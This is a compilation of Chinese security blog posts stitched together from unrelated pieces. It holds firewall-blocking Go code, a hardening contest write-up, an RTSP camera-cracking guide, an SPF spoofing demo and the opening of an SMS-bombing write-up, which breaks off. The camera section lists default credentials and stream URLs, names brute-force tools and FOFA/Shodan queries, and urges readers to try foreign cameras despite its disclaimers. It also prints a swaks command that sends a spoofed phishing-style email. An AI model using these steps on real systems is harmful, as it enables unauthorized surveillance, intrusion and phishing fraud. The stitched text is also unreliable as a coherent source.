				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备，获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败，无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表，直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功，IP: %s", ip))
			} else {
				// 如果失败，输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败，未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的，因为认证方式是https，所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表，所以这里就执行的是直接删除，否则就删除失败，但是对于功能性的查询模块的功能是有的，由于网盾k01的产品特性，一点发现全网阻断，所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令，所以这里权限也相对来说比较大，对于蓝队来讲不建议增加其它代码功能，原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册，关于地址簿添加这块儿的命令版本是没有变化的，基本上支持大多数版本型号。

SXF_AF和WAF

这里SXF的设备是有两种模式可供选择的，但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改，所以这里使用的API的方式向地址簿中添加要封禁的IP地址，但是这里的话，策略务必要配置正确。

// 新增的结构体，用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突：明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息，确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据（用于调试）
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息（调试）
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息，特别是 AddressGroup 字段
		fmt.Printf("设备信息：Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组（支持日志回调）
// 在 AddToSXFBlacklist 函数内部，确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组（支持日志回调）
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展，毕竟太麻烦了，各种参数比较麻烦，没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册，有的是找到手册没有测试的设备，目前上述的设备和代码是完全没有问题的，如果想添加其它厂商的设备，可以给我操作手册，我这边更新新版本发布。每次更新后的授权时间是3个月。

前言

刚好有机会接触到卫生行业的运维赛，这里只有机会接触到测试赛，简单谢谢wp吧，测试赛的话主办方也是用心了的，难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】 模拟了一台公网上的服务器，内置 MYSQL\SSH\WEB 等应用服务，但是因为安全意识不到位导致该服务器存在若干安全风险，现在要求对该服务器实施断网并作全方面的安全检查，由于服务的迁移，在系统中保留了一些历史服务的流量包，需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现：密码有效期90天、连续输错三次密码，账号锁定五分钟。

2、通过修改mysql相关配置实现：开启数据库查询日志、限制任意地址登录，只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值，写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置（恶意配置后门请直接删除）。

5、还有其他的一些要求，但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作，如果因为修改密码或私钥导致无法得分，选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离，如果因为隔离IP导致无法得分，选手自行负责。

【接入信息】

1、SSH服务端口22，账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh，发现处于docker容器内，其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次，锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除，因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制，删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题，没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的，但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /：从根目录开始查找（你也可以指定特定的目录，例如 /usr 或 /bin）。

-type f：只查找文件，不查找目录。

-perm -4000：查找设置了 SUID 权限的文件（SUID 权限对应的数字是 4000）。

-ls：显示详细信息，包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下，一般whoami权限是没有suid权限的，所以这个文件被动过，所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务，注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字，追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录，发现属于xxe的报错，构造xxe语句

system是可执行文件，url路径需要传参，fuzz无果手工测试

回显显示需要参数，简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计，审计即可，因为前期导完数据包的时候环境有问题，修改配置文件无法SFTP连接获取源码，所以就黑盒进行FUZZ了。

声明

本文章所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台！！！

0x1 RTSP奇特之旅前言

浅谈

哈咯，师傅们，好久不见！

已经很久没有写文章了，这次简单写一个蛮有意思的案例，也是在最近攻防演练中遇到的。

其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞，因为之前有看过文章简单了解过，主要就是打弱口令和未授权访问漏洞，然后一般就是比较敷衍的使用爆破工具爆破下，有无弱口令，或者使用字典目录遍历下。

像下面的我就喜欢使用无影tools的爆破模块

把目标导入即可，然后选择RTSP的554端口进行爆破，字典可以选择内置的字典

其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大，且平常挖src漏洞之类的，也不怎么碰的到。但是这次攻防演练嘛，有些东西在平常可能没多大的利用的价值，但是打攻防说不定就是可以打分打权限的那种，下面就来介绍下这个RTSP漏洞。

其中主要还是在网上看了很多的打法和文章资料，在网上尝试了蛮多的工具，发现一款GitHub上面的新利用RTSP漏洞一键利用的工具，然后结合这次资产刚好有，就利用起来了。

然后这次我开始也是简单的爆破下，因为这次是攻防演练嘛，然后是某单位的资产，且有好多下级部门的厂商视频监控管理系统，所以对应的监控大都是RTSP协议的，集群远程管理。

且这次的攻防演练目标资产比较多，范围比较广，只要是属于该市的资产都可以，还有一些企业的都可以，像很多的监控系统都带有远程管理操作，所以有部分都是RTSP协议的，且这个漏洞在平常接触比较少，就比如我平常挖src对这个漏洞基本上没有太多的操作。

下面是我简单收集的一些资产表格如下：

0x2 众测捡钱小技巧（拓展）

一、浅谈

上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞，比如我这里要讲的RTSP漏洞，这个漏洞的话主要是在攻防演练中，我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分，因为在攻防演练中主要是通过拿数据分和权限分，特别是你打进内网，像这样的监控系统肯定很多，这样就可以帮助你拿比较多的权限分。

这里给师傅们看下某些评分标准：

下面我来给师傅们讲下众测中，我一般第一先测试的漏洞——SPF邮件伪造漏洞。

具体的测试方法，我下面有很详细的测试手法，其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本，其中我自己也是利用这些脚本去测试的，因为在众测中，得拼手速了，具体的脚本我这里就不放上去了，因为脚本内容因人而异，最好自己修改下。

其实在攻防演练中也是可以利用SPF邮件伪造漏洞的，可以使用SPF邮件伪造去钓鱼，收集目标资产的邮箱，然后去钓鱼攻击，也是一种方法，在护网期间，钓鱼攻击是特别常态且使用特别多的一种方式。

二、SPF邮件伪造漏洞

针对师傅们对于SPF邮件伪造漏洞的拓展，师傅们可以看我之前写的那篇原创文章：https://xz.aliyun.com/news/14752

这里就引用这篇文章的SPF邮件伪造漏洞，写的蛮详细的，师傅们可以参考学习下，然后后面在众测项目上去赚点漏洞赏金。

1、spf邮件伪造漏洞简介：

SPF 记录是一种域名服务（DNS）记录，用于标识哪些邮件服务器可以代表您的域名发送电子邮件。

SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上，使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造，可以用来钓鱼社工，本身就是高危

若您未对您的域名添加 SPF 解析记录，则黑客可以仿冒以该域名为后缀的邮箱，来发送垃圾邮件。

2、漏洞危害：

可以用未进行安全配置的网站域名，发送邮件。

比如：www.baidu.com有这个漏洞，你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

src收的少，但是重测和渗透测试项目可以交。

  • 注意：如果没有v=spf1或者没spf就存在邮件伪造漏洞。
  • -all 不能伪造，all可以伪造

3、测试漏洞

我们直接拿baidu.com的域名来给大家演示下，用kali的nslookup 工具测试下

可以看到下面的回显，存在spf记录，是-all参数，说明不能任意伪造。

┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com

还可以使用dig -t命令来测试

┌──(root-kali)-[~]
└─# dig -t txt baidu.com

4、SPF解析不当导致绕过

把下面的spf配置记录复制下来

测试地址如下：

https://www.kitterman.com/spf/validate.html

这里显示spf解析配置正确

下面拿一个存在spf解析错误的案例来演示下：

SPF记录报错，在这条SPF记录中，存在多个IP段，但只有开头的一段ip用了ipv4，这就导致了语法错误。因为这个错误，将导致整个SPF记录完全失效，因为SPF无效，邮件接收方的SPF检测功能也就失效了。

5、swaks 测试

使用kali自带工具swaks 测试

swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方，这里我们伪造加了cn字眼，这里伪造改不明显字眼等都会进垃圾箱

我们先申请一个临时邮箱：

http://24mail.chacuo.net/

然后我们使用kali自带的swaks 工具进行测试，结果如下

┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码，请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


看到这里，我们要是对标题和内容进行改进，那么我们是不是就可以尝试钓一波鱼了呢？

0x3 RTSP协议漏洞介绍

一、协议分析

  • RTSP（实时流协议）是一个网络控制协议，设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架，使得能够实现对实时数据，如音频和视频的控制。与HTTP不同，RTSP提供了对流数据的实时控制功能，比如可以随意快进或倒退。

  • RTSP 主要用于以下场景：

    1、视频监控系统，会议视频

    2、IP摄像头监控(企业、大街、工厂的监控头)

    3、媒体播放器与媒体服务器之间的交互

    4、智能家居设备，比如：门铃、智能汽车行车仪等

  • RTSP 协议通常运行在 TCP 或 UDP 协议之上，使用的端口是554，不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令，以及进行实时播放位置的调整。

二、RTSP认证方式

1、Basic认证（基本认证）

基本认证是HTTP 1.0 提出的认证方案，其消息传输不经过加密转换因此存在严重的安全隐患。

服务端在未认证时返回401Unauthorized，并带上WWW-Authenticate: Basic realm="RTSP Server"头，要求客户端提供凭据。

1） 客户端发送 DESCRIBE 请求

DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
Accept: application/sdp\\r\\n 
User-agent: Realplayer\\r\\n\\r\\n

2）服务端发出 WWW-Authenticate 认证响应

服务端返回401错误码，发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

RTSP/1.0 401 Unauthorized\r\n 
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

3）客户端再次发出 DESCRIBE 请求

此时客户端程序弹出密码认证窗口 ，提示输入用户名，密码等认证信息，并根据服务端返回的响应消息中进处理，如果发现是 Basic认证则携带认证信息发送如下报文：

DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
Accept: application/sdp\r\n 
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码，明文发送泄漏后存在安全风险。

2、Digest认证（摘要认证）

摘要认证是http 1.1提出的基本认证的替代方案，其消息经过MD5哈希转换因此具有更高的安全性。

避免了直接明文传输密码的风险。但是 MD5 哈希较弱，仍然可以通过 彩虹表等方式破解。

三、RTSP认证流量监测

首先，这里你去了解RTSP认证流量，得先安装两款工具，工具是使用Wireshark和VLC视频播放工具。

1、Wireshark下载地址

https://www.wireshark.org/download.html

2、VLC视频播放工具

https://www.videolan.org/vlc/index.zh_CN.html

因为我的电脑上macbook，所以打开VLC和使用如下操作（windows的操作也是差不多的）

1、默认下载下来是英文的，直接可以设置中文的

选择Language，然后选择简体中文，重启软件就好了

2、打开 VLC 主界面，选择File > OpenNetwork（中文版为媒体 > 打开网络串流）

3、在弹出的对话框输入直播流播放地址，然后点击打开即可查看监控视频画面了

3、认证流量监测

使用Wireshark和VLC视频播放工具

获取rtsp协议认证方式，可以发送options和describe请求进行，如下图所示，获取到认证方式为401 Basic和Digest, 如果返回的状态码为200，说明存在未授权访问。

0x4 RTSP漏洞攻击

一、主流摄像头安全问题汇总

1、警卫视摄像头

型号：qs-qy
连接密码：密码默认为空

rtsp连接地址:

rtsp://admin@IP:554/live/ch00_1

2、乐橙摄像头

型号:LC-S2D
rtsp密码：摄像头底部安全码    
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

3、tp-link摄像头

设备型号:TL-IPC44AW
rtsp密码：默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1

4、萤石摄像头

设备型号：CS-C6
rtsp密码：摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

5、乔安智联摄像头

设备型号：JA-C10E
rtsp密码：空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_1

6、帝防摄像头

设备型号：JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1

7、Cubetoou摄像头

设备型号：Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif1

8、 icam365摄像头

设备型号：GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp

思路：
①指纹识别    
发送rtsp请求，根据server头找到设备型号为TAS-Tech

②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为：rtsp://admin:admin@IP/live.sdp

二、RTSP爆破

  • RTSP协议认证主要有Basic和Digest两种
  • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本，都可以尝试使用，但是我自己使用了好几个，都感觉差点意思，首先对于打攻防演练中，批量去测试，且需要对测试出来的IP地址进行归类，然后显示和判断出有价值的信息的，且导出页面可视化效果不好，其次好多针对呀RTSP这个漏洞目前汇总的字典不够全，爆破起来不是那么那啥，得自己汇总针对性的字典。

三、RTSP协议爆破工具

我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

特别是对于新手师傅们，可能更喜欢在网上找些github项目的图形化GUI的项目试试，我这里也是找到了一个工具，蛮不错的，图形化操作，内置字典都还不错

GitHub地址：

https://github.com/returnwrong/RTSP-Cracker-Pro

师傅们要是觉得这个工具还不错，看完我的文章以后可以挖到这类漏洞了，可以给作者点个star关注

这里直接下载这个zip文件即可，里面主要是一个python的可执行文件，是个GUI图形化的工具

但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件，里面的功能显示不全（有点疑惑）

 ~/Downloads/rtsp_crackV1.0.3 > python --version
Python 3.9.6

后面在Cursor上面进行代码修改，提示应该是在 Mac 上运行时出现图形化界面显示异常，可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的，这里直接改改代码即可

工具打开以后是这样的，图形化界面，看着就很简单

四、攻防演练RTSP实战

这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的，且当时在资产收集过程中，看到了蛮多的视频监控管理系统等等，于是我上网找了蛮多的资料和工具进行测试漏洞。

这里直接把IP导入到ip.txt文件中

这里的字典可以使用工具自带的，但是我这里建议师傅们要是能过自己再去多收集一些，然后与这个工具的字典汇总，再去重，爆破效果可能要好点

然后点击破解，就可以看到具体的一个破解速度和进程了，图形化的好处就是可以很直观的看，爆破的日志也很清晰，特别是对于攻防中目标资产特别多，我们可以调整下线程大小

还有就是Digest认证和Basic认证两种都跑一下，这样爆破成功的概率更大

爆破成功后，可以直接点击查看结果的功能，里面的爆破成功目标资产很详细的列举出来了，但是我感觉爆破最主要还是得靠字典，这个工具自带的字典还行，但是也不是特别全，需要自己去网上收集

然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具，然后连接就可以直接看到监控内容了

五、手把手带你挖RTSP漏洞

像师傅们看完我上面的文章了是吧，手肯定也痒痒了，也想去测试下这个漏洞，获取下监控视频的权限。这里提醒下，别使用国内的，可以去试试国外的。具体的空间搜索引擎语法如下：

FOFA语法

port="554" && protocol="rtsp" && category="视频监控"

FOFA语句二：

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


可以看到数量比较多，测试的时候可以把线程调大点，爆破的时间就稍微短点

shodan搜索网络摄像头语法：

shodan搜索起来更加好点，特别是这里建议大家试试国外的站点，建议可以使用shodan去测试

port:554 has_screenshot:true

然后打开VLC media player，配置流地址，然后就可以直接有监控权限了，可以直接看画面了

0x5 总结

到这里，这篇文章就已经结束了，该聊的和该注意的地方都给师傅们前面已经提过了，结尾呢主要是还是得提醒下师傅们不要未授权测试，且干渗透测试得低调点。

然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例，看完这篇文章，我想小白新手师傅都可以去挖这个漏洞了，使用的工具和手法都给师傅们分享了，且都写的非常的详细。

因为我电脑是MacBook的原因，所以一些软件使用上面还是有差异，师傅们可以自行上网搜索，Google浏览器还是很好用的，多搜搜，最好希望师傅们测试这个漏洞的时候测下国外的，不要未授权测试国内的！！！

文章中涉及的敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行承担。

声明

本文章所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台！！！

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试，这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高，主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广，包含整个市里面的好多政企单位和学校，资产多，测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘，给新手师傅们，特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下，该项目中的漏洞目前已经全部修复了，另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全，我会备注，因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产，还有一些些漏洞报告的模版之类的汇总在一个文件夹中，这样方便后面我自己进行一个漏洞报告编写，以及资产的收集整理，比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前，甲方那边都会给我们一些资产相关的表格，下面就是常见的excel表格资产，还有就是有些甲方可能目标资产不是那么多，且大多都是web资产，直接也有发txt文件的

txt的类型像下面的如下：

然后像渗透测试，还有就是授权书也是得有的，这里我们都是合法授权渗透测试的项目，跟那边都有授权合作的项目书，这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点，比如像登陆口，一般都有手机号码登录，手机号码验证登录，需要我们接受短信验证码，然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中，短信轰炸都是收的，企业src价格低点，且一般香短信轰炸，一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序，这里直接输入我自己的手机号，然后使用bp抓包，拦截短信验证码发送的数据包：

直接把数据包放到重放模块，下面直接go一下（第一次go）数据包

可以看到数据包回显是正常的，且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包，缺显示报错，意思是我们已经发送了一次，在短时间类不能再发送了

这里我们就可以想下了，我们能不能进行一个验证码发送限制次数的绕过，这个要是能绕过，无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了，看看什么字符可以进行绕过验证码发送呢？

经过测试发现，可以通过@、空格、+86、逗号等进行绕过，从而达到短信轰炸的漏洞危害：

我们如果要把危害加大，达到一分钟短信轰炸达到几十条，那么我们就要利用bp的爆破了，我们手动添加多个绕过字符，然后进行爆破，尽量多的提高每分钟爆破短信验证码的发送次数，以此来提高这个漏洞的危害：

然后师傅们就可以看自己的手机上面的短信验证码了，就可以看到一次性并发绕过了很多条短信验证码：

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞，可以进行双手机号验证码同时进行发送，从而造成逻辑漏洞，下面师傅们可以参考下我具体的绕过技巧，在碰到这样的场景时候，直接去实操即可

